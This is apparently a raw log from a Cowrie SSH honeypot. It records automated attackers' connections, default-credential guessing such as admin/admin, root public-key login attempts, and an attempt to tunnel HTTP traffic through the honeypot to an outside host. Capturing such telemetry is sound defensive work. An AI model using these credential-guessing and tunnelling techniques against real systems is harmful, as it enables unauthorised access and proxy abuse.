{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:26:53.773913Z","src_ip":"45.148.10.121","session":"357bd26c0f71","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:26:54.033016Z","src_ip":"45.148.10.121","session":"357bd26c0f71","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:26:54.122582Z","session":"357bd26c0f71","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:26:54.227418Z","src_ip":"45.148.10.121","session":"357bd26c0f71","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:26:54.232043Z","src_ip":"45.148.10.121","session":"357bd26c0f71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:26:54.382756Z","src_ip":"45.148.10.121","session":"357bd26c0f71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":45014,"dst_ip":"10.17.0.5","dst_port":22,"session":"a11d3f32957f","protocol":"ssh","message":"New connection: 45.148.10.121:45014 (10.17.0.5:22) [session: a11d3f32957f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:26:54.480529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:26:54.485283Z","src_ip":"45.148.10.121","session":"a11d3f32957f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:26:54.569104Z","src_ip":"45.148.10.121","session":"a11d3f32957f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:26:54.838542Z","src_ip":"45.148.10.121","session":"a11d3f32957f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:26:54.926472Z","session":"a11d3f32957f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:26:55.013680Z","src_ip":"45.148.10.121","session":"a11d3f32957f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:26:55.017806Z","src_ip":"45.148.10.121","session":"a11d3f32957f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:26:55.105355Z","src_ip":"45.148.10.121","session":"a11d3f32957f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":40860,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7e8fd1c2a38","protocol":"ssh","message":"New connection: 2.57.122.238:40860 (10.17.0.5:22) [session: f7e8fd1c2a38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:27:11.920267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:27:11.925065Z","src_ip":"2.57.122.238","session":"f7e8fd1c2a38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:27:12.026619Z","src_ip":"2.57.122.238","session":"f7e8fd1c2a38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:27:12.330291Z","src_ip":"2.57.122.238","session":"f7e8fd1c2a38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:27:13.437101Z","src_ip":"2.57.122.238","session":"f7e8fd1c2a38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"184.154.156.13","src_port":44316,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfd3e25943be","protocol":"ssh","message":"New connection: 184.154.156.13:44316 (10.17.0.5:22) [session: cfd3e25943be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:27:24.437328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:27:24.447771Z","src_ip":"184.154.156.13","session":"cfd3e25943be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:27:24.477528Z","src_ip":"184.154.156.13","session":"cfd3e25943be","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ee:43:0f:8b:6d:de:60:fd:f7:89:f1:d9:8e:af:30:36","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfkUVB3x7vwGNYdMdFYrQNrPoGgDu0qsUepEetjHFK7KVTvSknGPtLZR38lHojfUh8BfyfECu2Ew4xa0H0rNybjxd1GkeZTgVO0AFs/Iq2RJYf31DKnPeMGTo1MNkiNaEWRP+bQuclv6R6rhA/Eii8bFf8XdYUtyx3b2fd7yUM9y9pHugXa5Wo6ANDJEhIX4Zlu5x0+l9zbhXRmB0mxvpLFfqo3yGEySrH2SxkWgpWNPiv+FZom0+6k1dDLz8G9ICF0I57r3bk1N4wrAsZ7VslWydHbjGANb/r0CDAkXcV+0nMvDfzzyCrpQiK4/dDERKyGsPOOqXjR7eYNPEVDr2t","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ee:43:0f:8b:6d:de:60:fd:f7:89:f1:d9:8e:af:30:36","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:27:24.603420Z","src_ip":"184.154.156.13","session":"cfd3e25943be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ee:43:0f:8b:6d:de:60:fd:f7:89:f1:d9:8e:af:30:36","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfkUVB3x7vwGNYdMdFYrQNrPoGgDu0qsUepEetjHFK7KVTvSknGPtLZR38lHojfUh8BfyfECu2Ew4xa0H0rNybjxd1GkeZTgVO0AFs/Iq2RJYf31DKnPeMGTo1MNkiNaEWRP+bQuclv6R6rhA/Eii8bFf8XdYUtyx3b2fd7yUM9y9pHugXa5Wo6ANDJEhIX4Zlu5x0+l9zbhXRmB0mxvpLFfqo3yGEySrH2SxkWgpWNPiv+FZom0+6k1dDLz8G9ICF0I57r3bk1N4wrAsZ7VslWydHbjGANb/r0CDAkXcV+0nMvDfzzyCrpQiK4/dDERKyGsPOOqXjR7eYNPEVDr2t","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:27:24.607926Z","src_ip":"184.154.156.13","session":"cfd3e25943be","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0d:8b:50:aa:8b:ed:e0:4d:9a:fe:65:f3:7f:a0:e1:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDD5MjUoq7T8Ned0E1tiSDa06PIDqQHGcDATMmyxFR2xJ3Z5HQo6m5p1k9rDyVUY6LYP/bUDjVZC1CrB2iLILJkitnkHu7yvFCN4eg400ReysI52Zbf1jXGnMe1FJcbrzIofYIDsWHK/e9HOH+uLpqfBJNAKFKI9dcUMkvzFELnWpizjWUE4dx9pYDIikQiTdxdayoPCfvRhOdvjrLf1L46+agzbh5REtREDO49Z9btCY1HT/g28vLJxWy7k/l6cwfRLHxJSgv1f5kE+7kFgHCOTy/fN5CEH0EIG1687AqD6ia8ZO94n2dl76TTXGDFrISSIcn08ARKgV68twrHKtLSYcD5FYKn+K3ROzA07IZ2XpXPl9YOpoKHDTAGnvNvPYCKU0QGguY6AKgqgxovfEVXd+a+Tu1FZ55XxQfLtlk73+vuNnGCqIxDHdLtkGRgHW9taPnVLIuyO+cpXy+kNIBtP7v1oOBINuTsGqq1TxWwVO5LX2ChC/Mv/6KsHAJvzlE/3qzntuVK7XDT72c/xKAKfRWxBuQ+eAnQX5WCXnE7PLCJvKps0iM6P3CT0v/079cGyLyGaPvES/rkq8XQIFvQm71uYPAMrY6swzrn1QS/0J23fm+p+fO3SBOgcYiJIcKJJ3fo2fmGE1dJ9B7qE7uDHDbrOKXunvNjS5JkUju1zQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0d:8b:50:aa:8b:ed:e0:4d:9a:fe:65:f3:7f:a0:e1:8b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:27:24.638293Z","src_ip":"184.154.156.13","session":"cfd3e25943be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0d:8b:50:aa:8b:ed:e0:4d:9a:fe:65:f3:7f:a0:e1:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDD5MjUoq7T8Ned0E1tiSDa06PIDqQHGcDATMmyxFR2xJ3Z5HQo6m5p1k9rDyVUY6LYP/bUDjVZC1CrB2iLILJkitnkHu7yvFCN4eg400ReysI52Zbf1jXGnMe1FJcbrzIofYIDsWHK/e9HOH+uLpqfBJNAKFKI9dcUMkvzFELnWpizjWUE4dx9pYDIikQiTdxdayoPCfvRhOdvjrLf1L46+agzbh5REtREDO49Z9btCY1HT/g28vLJxWy7k/l6cwfRLHxJSgv1f5kE+7kFgHCOTy/fN5CEH0EIG1687AqD6ia8ZO94n2dl76TTXGDFrISSIcn08ARKgV68twrHKtLSYcD5FYKn+K3ROzA07IZ2XpXPl9YOpoKHDTAGnvNvPYCKU0QGguY6AKgqgxovfEVXd+a+Tu1FZ55XxQfLtlk73+vuNnGCqIxDHdLtkGRgHW9taPnVLIuyO+cpXy+kNIBtP7v1oOBINuTsGqq1TxWwVO5LX2ChC/Mv/6KsHAJvzlE/3qzntuVK7XDT72c/xKAKfRWxBuQ+eAnQX5WCXnE7PLCJvKps0iM6P3CT0v/079cGyLyGaPvES/rkq8XQIFvQm71uYPAMrY6swzrn1QS/0J23fm+p+fO3SBOgcYiJIcKJJ3fo2fmGE1dJ9B7qE7uDHDbrOKXunvNjS5JkUju1zQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:27:24.642689Z","src_ip":"184.154.156.13","session":"cfd3e25943be","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ed:15:58:f9:33:50:a0:3f:1d:0a:6d:41:fb:cb:90:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDo4ZfBZjG6D9cNQytx+rd0YpmHuvX6m2obEKQ+afmLgXrBcw1HvAB7CgUFXW/8E5/oJZfePP1egj5KymqR/6icajZ5PBAHu0NSC5f557sa1GwcVcEZAlUaWuXMGFP7d+ivgfnN1AM/WKKb8XldYqpxIDO/GHUAIlOsdF+gNB5d2rSihI2CuhXANevJPjZFNlKvcfdbPXGZJXF6vBgZnWUjybB0wchWAsdwcSxCaUsCw2Xzma9G8aLZRSgWbNNwZCWtHdOkHKMhv+6BRFdhh+fevkNxgGJRwSVf0B6exgJrGMocR8ayc0WG34kmgrS3/MPlwJW5CYYZP6YVyPIt5rDIDyuxd0p5Et11nvV5VkDtihaT4ZqH878X/Qjh4413lN4CIxAX+0usCB+AJTgR8idwqDJbcni2LJmo/PteLbN0qYXWJw2u5+wlZvdKuauCOcAby1pUy3utsNfNth0WcuyrVdf3EoTOgTUgFye+clMiusxzyE8/AxDDqH97qE8vfB9nNtDLeSnPY0zKfTu/wBGNYSM9XckuFN/pOZnuRVhugMm9cdUeKz9/hJNlE9St3ZefTEscJf8MuHqVksbark2TDspaE/sr6RxmI+FFo+kUAeR5tkENXrqDSSi9irhtFhIVcapcVhNcTzhzgVJsVVJn4UN7wz1T5Y/60rPr+MsI1Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ed:15:58:f9:33:50:a0:3f:1d:0a:6d:41:fb:cb:90:dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:27:24.674404Z","src_ip":"184.154.156.13","session":"cfd3e25943be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ed:15:58:f9:33:50:a0:3f:1d:0a:6d:41:fb:cb:90:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDo4ZfBZjG6D9cNQytx+rd0YpmHuvX6m2obEKQ+afmLgXrBcw1HvAB7CgUFXW/8E5/oJZfePP1egj5KymqR/6icajZ5PBAHu0NSC5f557sa1GwcVcEZAlUaWuXMGFP7d+ivgfnN1AM/WKKb8XldYqpxIDO/GHUAIlOsdF+gNB5d2rSihI2CuhXANevJPjZFNlKvcfdbPXGZJXF6vBgZnWUjybB0wchWAsdwcSxCaUsCw2Xzma9G8aLZRSgWbNNwZCWtHdOkHKMhv+6BRFdhh+fevkNxgGJRwSVf0B6exgJrGMocR8ayc0WG34kmgrS3/MPlwJW5CYYZP6YVyPIt5rDIDyuxd0p5Et11nvV5VkDtihaT4ZqH878X/Qjh4413lN4CIxAX+0usCB+AJTgR8idwqDJbcni2LJmo/PteLbN0qYXWJw2u5+wlZvdKuauCOcAby1pUy3utsNfNth0WcuyrVdf3EoTOgTUgFye+clMiusxzyE8/AxDDqH97qE8vfB9nNtDLeSnPY0zKfTu/wBGNYSM9XckuFN/pOZnuRVhugMm9cdUeKz9/hJNlE9St3ZefTEscJf8MuHqVksbark2TDspaE/sr6RxmI+FFo+kUAeR5tkENXrqDSSi9irhtFhIVcapcVhNcTzhzgVJsVVJn4UN7wz1T5Y/60rPr+MsI1Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:27:24.679363Z","src_ip":"184.154.156.13","session":"cfd3e25943be","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"56:f2:02:c2:46:92:2f:f4:4d:5f:e8:9e:0b:33:c5:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDhgOlsKI64Zk8/SQpTcAky9GIprtnPjcbNSwTB6aVW5ktQQkUJcCLKfejKayWEnSNtRGjanhXAfy2EX+6k6RaOBU5B6CF3ETNFRhPjsivYD2gigbjrR0bY8Xt0OHT5BZoJUzTSXBPQ1qugsz4tkcVjt4l/wvmoNH4h3ozXCFkbmJMZ9hK7/smQboSY01GBLHx0ccM3QxZsY5e0UVoMqRHE41da7mIgJ9sa1i66hslwPQUZKwS79ZYP/qe/OB/1RwGERBRWrGud5sZGut3oYSQQjoYzQDMwF9OAmM8bDD16g2a2AV+sy9la5LOEQAC9K+Y5hTZPJ17GQwPLn+1ZyWV3diODQ1cg87l1K/6X3qu/YqVEZh7mzqYrJTbQoS0soppnBELKFM3i+YRj8HxkuPBE4pOgCCPS1GElb4JlsQEfyiszgOW3oiBWj4beDFbbx3N32MLLgRHT72+aQ7g5VDVDk5+zCjQXyQsZCRKk7Svz/sZSaeT94i2GOnOcmlYHk1alK4VvlKfGl2Ie7G9B1sMnLwRGMvKR0kJp/aw9vFxnFBsCvZ3vLQKFs0b1JgT7fBkGq8hGmYpyrqqj7b6QcJJlcHPePjEkkBu37FUDpaHn3s6fK+pY8kLRiG/He8cSOH1OLrIvaKx4uWNhHsnuQxhgtHT9JXakuFdpdBe4hwwCcQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 56:f2:02:c2:46:92:2f:f4:4d:5f:e8:9e:0b:33:c5:74","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:27:24.710917Z","src_ip":"184.154.156.13","session":"cfd3e25943be","protocol":"ssh"}
